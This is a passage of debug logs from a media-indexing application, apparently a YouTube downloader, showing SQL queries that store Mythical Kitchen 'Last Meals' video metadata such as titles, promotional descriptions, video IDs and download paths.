https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* (truncated) 20:49:32.344 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.344 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-29 10:00:28Z], 1] 20:49:32.344 [debug] QUERY OK source="media_items" db=0.4ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ralph Macchio eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ralph's Last Meal\n0:22 What Do Ralph & Mr. Rogers Have In Common? \n1:37 Have You Thought About Your Last Meal Before?\n1:59 How Often Do You Think About Death?\n2:35 1st Course\n5:04 Continuing The Karate Kid Story\n8:54 Becoming The Mr. Miyagi For The New Generation\n11:10 2nd Course\n13:23 Knowing Pat Morita Was The Perfect Mr. Miyagi\n16:39 Protecting Daniel LaRusso\n18:15 3rd Course\n20:28 Filming The Outsiders\n22:55 Karate Kid 3 Wasn't All He Wanted To Be\n25:05 4th Course\n26:19 Almost Marty McFly\n29:09 Pitching His \"In Memoriam\" Clip\n30:45 What Do You Think Happens When You Die?\n31:05 Lightning Round\n32:58 Ralph's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Karate Kid's Ralph Macchio Eats His Last Meal", "9c90ccb2-0d89-4f19-817f-45d3723c08d9", "https://www.youtube.com/watch?v=GYgN7OuTfVU", false, "GYgN7OuTfVU", 2020, false, 68, "/downloads/Last Meals/2025-05-29 The Karate Kid's Ralph Macchio Eats His Last Meal/The Karate Kid's Ralph Macchio Eats His Last Meal [GYgN7OuTfVU].mp4", false, false, 1, [], 1, ~U[2025-05-29 10:00:28Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Ralph Macchio eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ralph's Last Meal\n0:22 What Do Ralph & Mr. Rogers Have In Common? \n1:37 Have You Thought About Your Last Meal Before?\n1:59 How Often Do You Think About Death?\n2:35 1st Course\n5:04 Continuing The Karate Kid Story\n8:54 Becoming The Mr. Miyagi For The New Generation\n11:10 2nd Course\n13:23 Knowing Pat Morita Was The Perfect Mr. Miyagi\n16:39 Protecting Daniel LaRusso\n18:15 3rd Course\n20:28 Filming The Outsiders\n22:55 Karate Kid 3 Wasn't All He Wanted To Be\n25:05 4th Course\n26:19 Almost Marty McFly\n29:09 Pitching His \"In Memoriam\" Clip\n30:45 What Do You Think Happens When You Die?\n31:05 Lightning Round\n32:58 Ralph's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Karate Kid's Ralph Macchio Eats His Last Meal", "https://www.youtube.com/watch?v=GYgN7OuTfVU", "GYgN7OuTfVU", 2020, false, "/downloads/Last Meals/2025-05-29 The Karate Kid's Ralph Macchio Eats His Last Meal/The Karate Kid's Ralph Macchio Eats His Last Meal [GYgN7OuTfVU].mp4", false, 1, ~U[2025-05-29 10:00:28Z]] 20:49:32.344 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.345 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-19 11:00:29Z], 1] 20:49:32.347 [debug] QUERY OK source="media_items" db=2.1ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Tom Hanks's last meal.\n\nDon't miss A Man Called Otto in theaters now! https://www.amancalledotto.movie\nAnd be sure to check out how you can support those who serve at https://givehanx.com\n\nFind out more about Tom Hanks' favorite sugar-free foods on Sporked: https://sporked.com/article/tom-hanks-favorite-sugar-free-foods/\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Tom Hanks Eats His Last Meal", "a17eec1a-2553-4bc8-9d28-0f52eb8553e2", "https://www.youtube.com/watch?v=xxSyov0Hjz8", false, "xxSyov0Hjz8", 2234, false, 69, "/downloads/Last Meals/2023-01-19 Tom Hanks Eats His Last Meal/Tom Hanks Eats His Last Meal [xxSyov0Hjz8].mp4", false, false, 1, [], 1, ~U[2023-01-19 11:00:29Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Tom Hanks's last meal.\n\nDon't miss A Man Called Otto in theaters now! https://www.amancalledotto.movie\nAnd be sure to check out how you can support those who serve at https://givehanx.com\n\nFind out more about Tom Hanks' favorite sugar-free foods on Sporked: https://sporked.com/article/tom-hanks-favorite-sugar-free-foods/\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=a (truncated) 20:49:32.347 [debug] QUERY OK source="sources" db=0.0ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.347 [debug] QUERY OK source="media_items" db=0.0ms idle=2.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-19 10:01:03Z], 1] 20:49:32.348 [debug] QUERY OK source="media_items" db=0.5ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Johnny Knoxville eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Johnny's Last Meal\n0:24 Miss Hanley Said That??\n1:33 Have You Thought About Your Last Meal Before?\n3:10 How Often Do You Think About Death?\n4:00 1st Course\n5:09 Jackass Was A Blur\n7:39 Connecting Childhood to Stuntwork\n9:15 \"It Took Me A Long Time To Be Happy\"\n10:56 A Presidential Campaign Based On Cancelling Jackass\n12:35 What Jackass Could Have Been\n13:30 Working With Worldclass Athletes\n15:27 Looking Up to Mat Hoffman\n16:26 2nd Course\n17:40 Inspired by Hunter S. Thompson\n21:03 Be Careful How You Choose Your Heroes\n23:38 The Larger Cultural Impact of Jackass\n26:33 \"Captain\" \n27:36 3rd Course\n28:56 Johnny's Relationship to Fear\n31:24 Disassociation vs. Anticipation & \"Survivor's Euphoria\"\n34:34 No Boundaries \n35:15 4th Course\n37:37 Experiencing Brain Hemorrhage\n38:52 Jackass 5 Is Coming\n40:54 Write A Novel or Shove Things Up Friends' Butts?\n42:58 Do You Fear Death?\n44:46 Lightning Round\n46:44 Johnny's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Johnny Knoxville Eats His Last Meal", "3e60e7a6-d75c-43af-bf27-fff1b1d37b30", "https://www.youtube.com/watch?v=_Cfo55unVzM", false, "_Cfo55unVzM", 2852, false, 70, "/downloads/Last Meals/2026-03-19 Johnny Knoxville Eats His Last Meal/Johnny Knoxville Eats His Last Meal [_Cfo55unVzM].mp4", false, false, 1, [], 1, ~U[2026-03-19 10:01:03Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today Johnny Knoxville eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Johnny's Last Meal\n0:24 Miss Hanley Said That??\n1:33 Have You Thought About Your Last Meal Before?\n3:10 How Often Do You Think About Death?\n4:00 1st Course\n5:09 Jackass Was A Blur\n7:39 Connecting Childhood to Stuntwork\n9:15 \"It Took Me A Long Time To Be Happy\"\n10:56 A Presidential Campaign Based On Cancelling Jackass\n12:35 What Jackass Could Have Been\n13:30 Working With Worldclass Athletes\n15:27 Looking Up to Mat Hoffman\n16:26 2nd Course\n17:40 Inspired by Hunter S. Thompson\n21:03 Be Careful How You Choose Your Heroes\n23:38 The Larger Cultural Impact of Jackass\n26:33 \"Captain\" \n27:36 3rd Course\n28:56 Johnny's Relationship to Fear\n31:24 Disassociation vs. Anticipation & \"Survivor's Euphoria\"\n34:34 No Boundaries \n35:15 4th Course\n37:37 Experiencing Brain Hemorrhage\n38:52 Jackass 5 Is Coming\n40:54 Write A Novel or Shove Things Up Friends' Butts?\n42:58 Do You Fear Death?\n44:46 Lightning Round\n46:44 Johnny's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Johnny Knoxville Eats His Last Meal", "https://www.youtube.com/watch?v=_Cfo55unVzM", "_Cfo55unVzM", 2852, false, "/downloads/Last Meals/2026-03-19 Johnny Knoxville Eats His Last Meal/Johnny Knoxville Eats His Last Meal [_Cfo55unVzM].mp4", false, 1, ~U[2026-03-19 10:01:03Z]] 20:49:32.348 [debug] QUERY OK source="sources" db=0.0ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.348 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 10:00:08Z], 1] 20:49:32.349 [debug] QUERY OK source="media_items" db=0.3ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we take a look back on the journey to ONE HUNDRED last meals! Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/zZ4gaId and use code mythicalkitchen at checkout for 20% off your first purchase.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "I can't believe we pulled it off...", "61b19a4c-b68c-46ee-bc27-8cdf4a51e9bf", "https://www.youtube.com/watch?v=5diMuiDQ2Wo", false, "5diMuiDQ2Wo", 2257, false, 71, "/downloads/Last Meals/2026-03-24 I can't believe we pulled it off..#/I can't believe we pulled it off... [5diMuiDQ2Wo].mp4", false, false, 1, [], 1, ~U[2026-03-24 10:00:08Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today we take a look back on the journey to ONE HUNDRED last meals! Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/zZ4gaId and use code mythicalkitchen at checkout for 20% off your first purchase.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "I can't believe we pulled it off...", "https://www.youtube.com/watch?v=5diMuiDQ2Wo", "5diMuiDQ2Wo", 2257, false, "/downloads/Last Meals/2026-03-24 I can't believe we pulled it off..#/I can't believe we pulled it off... [5diMuiDQ2Wo].mp4", false, 1, ~U[2026-03-24 10:00:08Z]] 20:49:32.349 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 